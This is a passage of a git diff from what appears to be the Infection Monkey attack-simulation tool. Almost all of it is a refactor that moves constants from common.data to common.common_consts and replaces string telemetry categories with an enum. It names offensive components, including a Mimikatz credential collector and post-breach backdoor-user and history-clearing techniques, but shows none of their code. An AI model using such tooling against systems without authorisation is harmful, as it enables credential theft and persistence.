b/monkey/infection_monkey/system_info/collectors/aws_collector.py @@ -1,7 +1,7 @@ import logging from common.cloud.aws.aws_instance import AwsInstance -from common.data.system_info_collectors_names import AWS_COLLECTOR +from common.common_consts.system_info_collectors_names import AWS_COLLECTOR from infection_monkey.system_info.system_info_collector import \ SystemInfoCollector diff --git a/monkey/infection_monkey/system_info/collectors/environment_collector.py b/monkey/infection_monkey/system_info/collectors/environment_collector.py index 9bcd917ee..b49fb18d8 100644 --- a/monkey/infection_monkey/system_info/collectors/environment_collector.py +++ b/monkey/infection_monkey/system_info/collectors/environment_collector.py @@ -1,6 +1,6 @@ from common.cloud.all_instances import get_all_cloud_instances from common.cloud.environment_names import Environment -from common.data.system_info_collectors_names import ENVIRONMENT_COLLECTOR +from common.common_consts.system_info_collectors_names import ENVIRONMENT_COLLECTOR from infection_monkey.system_info.system_info_collector import \ SystemInfoCollector diff --git a/monkey/infection_monkey/system_info/collectors/hostname_collector.py b/monkey/infection_monkey/system_info/collectors/hostname_collector.py index ae9560815..7f21c214d 100644 --- a/monkey/infection_monkey/system_info/collectors/hostname_collector.py +++ b/monkey/infection_monkey/system_info/collectors/hostname_collector.py @@ -1,7 +1,7 @@ import logging import socket -from common.data.system_info_collectors_names import HOSTNAME_COLLECTOR +from common.common_consts.system_info_collectors_names import HOSTNAME_COLLECTOR from infection_monkey.system_info.system_info_collector import \ SystemInfoCollector diff --git a/monkey/infection_monkey/system_info/collectors/process_list_collector.py b/monkey/infection_monkey/system_info/collectors/process_list_collector.py index b732a4090..c55f40d5b 100644 --- a/monkey/infection_monkey/system_info/collectors/process_list_collector.py +++ b/monkey/infection_monkey/system_info/collectors/process_list_collector.py @@ -2,7 +2,7 @@ import logging import psutil -from common.data.system_info_collectors_names import PROCESS_LIST_COLLECTOR +from common.common_consts.system_info_collectors_names import PROCESS_LIST_COLLECTOR from infection_monkey.system_info.system_info_collector import \ SystemInfoCollector diff --git a/monkey/infection_monkey/system_info/collectors/scout_suite_collector.py b/monkey/infection_monkey/system_info/collectors/scout_suite_collector.py deleted file mode 100644 index 09adf94e4..000000000 --- a/monkey/infection_monkey/system_info/collectors/scout_suite_collector.py +++ /dev/null @@ -1,36 +0,0 @@ -import logging -import tempfile - -from common.cloud.environment_names import Environment -from common.data.system_info_collectors_names import SCOUTSUITE_COLLECTOR -from infection_monkey.system_info.system_info_collector import SystemInfoCollector -from infection_monkey.system_info.collectors.scoutsuite.ScoutSuite.__main__ import run -from system_info.collectors.environment_collector import get_monkey_environment - -logger = logging.getLogger(__name__) - - -class ScoutSuiteCollector(SystemInfoCollector): - def __init__(self): - super().__init__(name=SCOUTSUITE_COLLECTOR) - - def collect(self) -> dict: - env = get_monkey_environment() - env = "AWS" - if env == Environment.ON_PREMISE.value: - logger.info("Monkey is not on cloud; not running ScoutSuite") - return {} - else: - tmp_dir_path = tempfile.mkdtemp() - logger.info(f"Attempting to execute ScoutSuite with {env.lower()}, saving results in {tmp_dir_path}") - - scout_suite_results = run( - env.lower(), - debug=True, - quiet=False, - no_browser=True, - report_dir=tmp_dir_path) - return { - "Environment": env, - "Results": scout_suite_results - } diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite b/monkey/infection_monkey/system_info/collectors/scoutsuite deleted file mode 160000 index e784fc27a..000000000 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite +++ /dev/null @@ -1 +0,0 @@ -Subproject commit e784fc27ae8311c3c610bccd556d2bef3cd54d63 diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/__init__.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite new file mode 160000 index 000000000..6707e052b --- /dev/null +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite @@ -0,0 +1 @@ +Subproject commit 6707e052b8573a4f9eaee7f77f6c5de404f3e8fd diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index d6b3cbec8..abb8a491e 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -2,7 +2,7 @@ import logging import os import sys -from common.data.system_info_collectors_names import MIMIKATZ_COLLECTOR +from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector import \ MimikatzCredentialCollector diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py index bb114434f..0a33d1484 100644 --- a/monkey/infection_monkey/telemetry/exploit_telem.py +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -1,3 +1,4 @@ +from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem __author__ = "itay.mizeretz" @@ -15,7 +16,7 @@ class ExploitTelem(BaseTelem): self.exploiter = exploiter self.result = result - telem_category = 'exploit' + telem_category = TelemCategoryEnum.EXPLOIT def get_data(self): return { diff --git a/monkey/infection_monkey/telemetry/post_breach_telem.py b/monkey/infection_monkey/telemetry/post_breach_telem.py index e5e443123..15aa41247 100644 --- a/monkey/infection_monkey/telemetry/post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/post_breach_telem.py @@ -1,5 +1,6 @@ import socket +from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem __author__ = "itay.mizeretz" @@ -18,7 +19,7 @@ class PostBreachTelem(BaseTelem): self.result = result self.hostname, self.ip = PostBreachTelem._get_hostname_and_ip() - telem_category = 'post_breach' + telem_category = TelemCategoryEnum.POST_BREACH def get_data(self): return { diff --git a/monkey/infection_monkey/telemetry/scan_telem.py b/monkey/infection_monkey/telemetry/scan_telem.py index b1c58ab1b..a4dac1396 100644 --- a/monkey/infection_monkey/telemetry/scan_telem.py +++ b/monkey/infection_monkey/telemetry/scan_telem.py @@ -1,3 +1,4 @@ +from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem __author__ = "itay.mizeretz" @@ -13,7 +14,7 @@ class ScanTelem(BaseTelem): super(ScanTelem, self).__init__() self.machine = machine - telem_category = 'scan' + telem_category = TelemCategoryEnum.SCAN def get_data(self): return { diff --git a/monkey/infection_monkey/telemetry/state_telem.py b/monkey/infection_monkey/telemetry/state_telem.py index 4d4224288..9ecd53c20 100644 --- a/monkey/infection_monkey/telemetry/state_telem.py +++ b/monkey/infection_monkey/telemetry/state_telem.py @@ -1,3 +1,4 @@ +from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem __author__ = "itay.mizeretz" @@ -14,7 +15,7 @@ class StateTelem(BaseTelem): self.is_done = is_done self.version = version - telem_category = 'state' + telem_category = TelemCategoryEnum.STATE def get_data(self): return { diff --git a/monkey/infection_monkey/telemetry/system_info_telem.py b/monkey/infection_monkey/telemetry/system_info_telem.py index 69ee7beda..a7ac21456 100644 --- a/monkey/infection_monkey/telemetry/system_info_telem.py +++ b/monkey/infection_monkey/telemetry/system_info_telem.py @@ -1,3 +1,4 @@ +from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem __author__ = "itay.mizeretz" @@ -13,7 +14,7 @@ class SystemInfoTelem(BaseTelem): super(SystemInfoTelem, self).__init__() self.system_info = system_info - telem_category = 'system_info' + telem_category = TelemCategoryEnum.SYSTEM_INFO def get_data(self): return self.system_info diff --git a/monkey/infection_monkey/telemetry/trace_telem.py b/monkey/infection_monkey/telemetry/trace_telem.py index 0782affb4..dfe3f762b 100644 --- a/monkey/infection_monkey/telemetry/trace_telem.py +++ b/monkey/infection_monkey/telemetry/trace_telem.py @@ -1,5 +1,6 @@ import logging +from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem __author__ = "itay.mizeretz" @@ -18,7 +19,7 @@ class TraceTelem(BaseTelem): self.msg = msg LOG.debug("Trace: %s" % msg) - telem_category = 'trace' + telem_category = TelemCategoryEnum.TRACE def get_data(self): return { diff --git a/monkey/infection_monkey/telemetry/tunnel_telem.py b/monkey/infection_monkey/telemetry/tunnel_telem.py index 64533a252..b4e4a07e6 100644 --- a/monkey/infection_monkey/telemetry/tunnel_telem.py +++ b/monkey/infection_monkey/telemetry/tunnel_telem.py @@ -1,3 +1,4 @@ +from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.control import ControlClient from infection_monkey.telemetry.base_telem import BaseTelem @@ -13,7 +14,7 @@ class TunnelTelem(BaseTelem): super(TunnelTelem, self).__init__() self.proxy = ControlClient.proxies.get('https') - telem_category = 'tunnel' + telem_category = TelemCategoryEnum.TUNNEL def get_data(self): return {'proxy': self.proxy} diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index e8dfd2cfc..4bbf159c8 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -6,7 +6,7 @@ from flask import Flask, Response, send_from_directory from werkzeug.exceptions import NotFound import monkey_island.cc.environment.environment_singleton as env_singleton -from common.data.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH +from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.database import database, mongo from monkey_island.cc.resources.attack.attack_config import AttackConfiguration diff --git a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py index c3817313f..c5684abc0 100644 --- a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py @@ -1,4 +1,4 @@ -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding diff --git a/monkey/monkey_island/cc/models/zero_trust/event.py b/monkey/monkey_island/cc/models/zero_trust/event.py index 7ff08305b..d1a0001af 100644 --- a/monkey/monkey_island/cc/models/zero_trust/event.py +++ b/monkey/monkey_island/cc/models/zero_trust/event.py @@ -2,7 +2,7 @@ from datetime import datetime from mongoengine import DateTimeField, EmbeddedDocument, StringField -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts class Event(EmbeddedDocument): diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index d6d5c6c3f..d07cb9a45 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -6,7 +6,7 @@ from typing import List from mongoengine import Document, EmbeddedDocumentListField, StringField -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts # Dummy import for mongoengine. # noinspection PyUnresolvedReferences from monkey_island.cc.models.zero_trust.event import Event diff --git a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py index 60262fbfd..903cf3546 100644 --- a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py @@ -1,6 +1,6 @@ from mongoengine import StringField -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py index 91452dc0e..4b9765f70 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py @@ -3,7 +3,7 @@ import unittest import mongomock from packaging import version -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.aggregate_finding import \ AggregateFinding from monkey_island.cc.models.zero_trust.event import Event diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py index 4a5afba50..4699dd829 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_event.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py @@ -1,6 +1,6 @@ from mongoengine import ValidationError -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.testing.IslandTestCase import IslandTestCase diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py index e221dacb1..c92d4439c 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py @@ -1,6 +1,6 @@ from mongoengine import ValidationError -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.testing.IslandTestCase import IslandTestCase diff --git a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py index b375d97a9..13583ad40 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py @@ -1,4 +1,4 @@ -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.segmentation_finding import \ SegmentationFinding diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index efdeb34b3..dd622b140 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -6,6 +6,7 @@ import dateutil import flask_restful from flask import request +from common.common_consts.telem_categories import TelemCategoryEnum from monkey_island.cc.database import mongo from monkey_island.cc.models.monkey import Monkey from monkey_island.cc.resources.auth.auth import jwt_required @@ -74,7 +75,7 @@ class Telemetry(flask_restful.Resource): monkey_label = telem_monkey_guid x["monkey"] = monkey_label objects.append(x) - if x['telem_category'] == 'system_info' and 'credentials' in x['data']: + if x['telem_category'] == TelemCategoryEnum.SYSTEM_INFO and 'credentials' in x['data']: for user in x['data']['credentials']: if -1 != user.find(','): new_user = user.replace(',', '.') diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 17f263320..3da328b99 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -6,6 +6,7 @@ import flask_pymongo import flask_restful from flask import request +from common.common_consts.telem_categories import TelemCategoryEnum from monkey_island.cc.database import mongo from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.node import NodeService @@ -109,11 +110,11 @@ class TelemetryFeed(flask_restful.Resource): TELEM_PROCESS_DICT = \ { - 'tunnel': TelemetryFeed.get_tunnel_telem_brief, - 'state': TelemetryFeed.get_state_telem_brief, - 'exploit': TelemetryFeed.get_exploit_telem_brief, - 'scan': TelemetryFeed.get_scan_telem_brief, - 'system_info': TelemetryFeed.get_systeminfo_telem_brief, - 'trace': TelemetryFeed.get_trace_telem_brief, - 'post_breach': TelemetryFeed.get_post_breach_telem_brief + TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief, + TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief, + TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief, + TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief, + TelemCategoryEnum.SYSTEM_INFO: TelemetryFeed.get_systeminfo_telem_brief, + TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief, + TelemCategoryEnum.POST_BREACH: TelemetryFeed.get_post_breach_telem_brief } diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py index 511f819e3..9ca289e8f 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import POST_BREACH_JOB_SCHEDULING +from common.common_consts.post_breach_consts import POST_BREACH_JOB_SCHEDULING from monkey_island.cc.services.attack.technique_reports.pba_technique import \ PostBreachTechnique diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py index de0a6a470..2b8bd1374 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import POST_BREACH_ACCOUNT_DISCOVERY +from common.common_consts.post_breach_consts import POST_BREACH_ACCOUNT_DISCOVERY from monkey_island.cc.services.attack.technique_reports.pba_technique import \ PostBreachTechnique diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py index 086a1c139..8b299fbce 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import ( +from common.common_consts.post_breach_consts import ( POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER) from monkey_island.cc.services.attack.technique_reports.pba_technique import \ PostBreachTechnique diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py index cacbe6789..b9c7863dc 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY +from common.common_consts.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY from monkey_island.cc.services.attack.technique_reports.pba_technique import \ PostBreachTechnique diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py index c905fc9ca..22fd107a3 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import POST_BREACH_TRAP_COMMAND +from common.common_consts.post_breach_consts import POST_BREACH_TRAP_COMMAND from monkey_island.cc.services.attack.technique_reports.pba_technique import \ PostBreachTechnique diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py index 2841ed0ad..babbdeeb4 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import \ +from common.common_consts.post_breach_consts import \ POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION from monkey_island.cc.services.attack.technique_reports.pba_technique import \ PostBreachTechnique diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py index 7b0f87358..2be8896f4 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import POST_BREACH_HIDDEN_FILES +from common.common_consts.post_breach_consts import POST_BREACH_HIDDEN_FILES from monkey_island.cc.services.attack.technique_reports.pba_technique import \ PostBreachTechnique diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py index e3b74e5c5..9fe5826eb 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import POST_BREACH_SETUID_SETGID +from common.common_consts.post_breach_consts import POST_BREACH_SETUID_SETGID from monkey_island.cc.services.attack.technique_reports.pba_technique import \ PostBreachTechnique diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py index 76806806c..f0db6cdd1 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import POST_BREACH_JOB_SCHEDULING +from common.common_consts.post_breach_consts import POST_BREACH_JOB_SCHEDULING from monkey_island.cc.services.attack.technique_reports.pba_technique import \ PostBreachTechnique diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py index d4efbd73e..6086194ab 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC +from common.common_consts.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC from monkey_island.cc.services.attack.technique_reports.pba_technique import \ PostBreachTechnique diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py index 8d8956e6b..842865456 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import \ +from common.common_consts.post_breach_consts import \ POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION from monkey_island.cc.services.attack.technique_reports.pba_technique import \ PostBreachTechnique diff --git a/monkey/monkey_island/cc/services/config_schema/basic_network.py b/monkey/monkey_island/cc/services/config_schema/basic_network.py index 33467690a..5ae044d95 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic_network.py +++ b/monkey/monkey_island/cc/services/config_schema/basic_network.py @@ -1,4 +1,4 @@ -from common.data.validation_formats import IP, IP_RANGE +from common.common_consts.validation_formats import IP, IP_RANGE from monkey_island.cc.services.utils.typographic_symbols import WARNING_SIGN BASIC_NETWORK = { diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py index 5f113f4a7..05bb2d48a 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py @@ -1,9 +1,9 @@ -from common.data.system_info_collectors_names import (AWS_COLLECTOR, - AZURE_CRED_COLLECTOR, - ENVIRONMENT_COLLECTOR, - HOSTNAME_COLLECTOR, - MIMIKATZ_COLLECTOR, - PROCESS_LIST_COLLECTOR) +from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, + AZURE_CRED_COLLECTOR, + ENVIRONMENT_COLLECTOR, + HOSTNAME_COLLECTOR, + MIMIKATZ_COLLECTOR, + PROCESS_LIST_COLLECTOR) SYSTEM_INFO_COLLECTOR_CLASSES = { "title": "System Information Collectors", diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index c9fbdde74..dd2348e06 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -1,9 +1,9 @@ -from common.data.system_info_collectors_names import (AWS_COLLECTOR, - AZURE_CRED_COLLECTOR, - ENVIRONMENT_COLLECTOR, - HOSTNAME_COLLECTOR, - MIMIKATZ_COLLECTOR, - PROCESS_LIST_COLLECTOR) +from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, + AZURE_CRED_COLLECTOR, + ENVIRONMENT_COLLECTOR, + HOSTNAME_COLLECTOR, + MIMIKATZ_COLLECTOR, + PROCESS_LIST_COLLECTOR) MONKEY = { "title": "Monkey", diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py index dbadffb55..874eee293 100644 --- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py @@ -1,4 +1,4 @@ -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts import monkey_island.cc.services.reporting.zero_trust_service from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.services.reporting.zero_trust_service import \ diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py index 7c31fc59a..a70f4f8b4 100644 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -2,7 +2,7 @@ from typing import List from bson.objectid import ObjectId -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding # How many events of a single finding to return to UI. diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index 367ca87d9..28909f40b 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -1,6 +1,6 @@ import copy -from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER +from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.services.telemetry.zero_trust_tests.communicate_as_new_user import \ diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py index 38767a01e..5f1b6e641 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py @@ -1,11 +1,11 @@ import logging import typing -from common.data.system_info_collectors_names import (AWS_COLLECTOR, - ENVIRONMENT_COLLECTOR, - HOSTNAME_COLLECTOR, - PROCESS_LIST_COLLECTOR, - SCOUTSUITE_COLLECTOR) +from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, + ENVIRONMENT_COLLECTOR, + HOSTNAME_COLLECTOR, + PROCESS_LIST_COLLECTOR, + SCOUTSUITE_COLLECTOR) from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import \ process_aws_telemetry from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \ diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py index 336567c7c..f16ae7295 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py @@ -1,6 +1,6 @@ import json -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.aggregate_finding import \ AggregateFinding diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py index d822206af..c6d8a9570 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py @@ -1,4 +1,4 @@ -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.aggregate_finding import \ AggregateFinding from monkey_island.cc.models.zero_trust.event import Event diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py index 447b2dee8..024a91522 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -1,7 +1,7 @@ import json -import common.data.zero_trust_consts as zero_trust_consts -from common.data.network_consts import ES_SERVICE +import common.common_consts.zero_trust_consts as zero_trust_consts +from common.common_consts.network_consts import ES_SERVICE from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.aggregate_finding import ( AggregateFinding, add_malicious_activity_to_timeline) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index 06d97d66d..51109130a 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -1,4 +1,4 @@ -import 